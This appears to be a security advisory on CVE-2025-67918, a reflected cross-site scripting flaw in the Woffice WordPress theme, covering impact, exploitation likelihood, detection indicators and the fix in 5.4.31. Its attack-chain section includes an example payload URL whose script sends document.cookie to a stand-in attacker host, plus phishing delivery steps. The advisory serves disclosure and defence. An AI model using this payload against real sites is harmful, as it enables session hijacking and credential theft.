CVE-2025-67918: 
WordPress vulnerability analysis and mitigation

CVE-2025-67918 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WofficeIO Woffice WordPress theme, classified under CWE-79. It affects all versions of the Woffice theme up to and including 5.4.30, with version 5.4.31 containing the fix. The vulnerability was reported by Rafie Muhammad on October 15, 2025, and publicly disclosed by Patchstack on January 5–8, 2026. The CVSS v3.1 base score is 7.1 (High) as assessed by Patchstack (CNA), with no NVD enrichment score provided (Patchstack).

The vulnerability is rooted in improper neutralization of user-supplied input during web page generation (CWE-79), allowing attacker-controlled data to be reflected back in the HTTP response without adequate sanitization or encoding. As a Reflected XSS, the attack requires the victim to interact with a maliciously crafted URL or link, which causes the injected script to execute in the victim's browser within the context of the affected site. No authentication is required on the attacker's side, though user interaction (e.g., clicking a crafted link) is necessary for successful exploitation. No public proof-of-concept code has been identified at this time (Patchstack).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the browser of a victim who clicks a malicious link, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or redirection to malicious sites. The scope is changed (S:C in CVSS), meaning the injected script can affect resources beyond the vulnerable component itself. While availability is not directly impacted, confidentiality and integrity are both at low-to-moderate risk, particularly for authenticated users such as administrators whose sessions could be hijacked (Patchstack).

No active in-the-wild exploitation has been confirmed, and no exploit kits or weaponized code have been publicly identified. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress sites regardless of their traffic or popularity. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack has issued a virtual patch (mitigation rule) to block exploitation attempts for users of their platform (Patchstack).

1. Reconnaissance: Identify WordPress sites using the Woffice theme version 5.4.30 or earlier, using tools like WPScan, Shodan, or manual inspection of theme metadata.
2. Identify vulnerable parameter: Locate the URL parameter(s) in the Woffice theme that are reflected unsanitized in the HTTP response (specific parameter names are not publicly disclosed).
3. Craft malicious URL: Construct a URL containing a reflected XSS payload, e.g., https://target-site.com/?vulnerable_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a target user (e.g., an administrator) via phishing email, social engineering, or embedding in a forum/comment.
5. Achieve objective: When the victim clicks the link and their browser renders the page, the injected script executes in their browser session, enabling cookie theft, session hijacking, or other malicious actions (Patchstack).

• Network: Unusual outbound HTTP requests from victim browsers to unknown external domains shortly after visiting a WordPress site running Woffice; crafted URLs in web server access logs containing encoded script tags or JavaScript event handlers in query parameters.
• Logs: Web server access logs showing requests with URL-encoded XSS payloads (e.g., %3Cscript%3E, javascript:, onerror=) in query string parameters associated with Woffice theme endpoints.
• Browser/Session: Unexpected session invalidation or unauthorized actions performed under an authenticated user's account; reports from users of being redirected to unfamiliar external sites after clicking links.

The primary remediation is to update the Woffice theme to version 5.4.31 or later, which contains the fix for this vulnerability. Site administrators who cannot immediately update should contact their hosting provider or web developer for assistance. Patchstack users benefit from an automatically applied virtual patch (WAF rule) that blocks exploitation attempts until the theme is updated. General hardening measures include restricting access to WordPress admin areas and monitoring for suspicious URL patterns in access logs (Patchstack).

The vulnerability was discovered and responsibly disclosed by Rafie Muhammad through Patchstack's Active VDP program, with the report submitted on October 15, 2025, and public disclosure on January 5, 2026. Patchstack classified it as medium priority with a CVSS of 7.1 and noted that XSS vulnerabilities of this type are frequently leveraged in mass WordPress exploitation campaigns. No significant broader media coverage or notable social media commentary has been identified beyond the Patchstack advisory (Patchstack).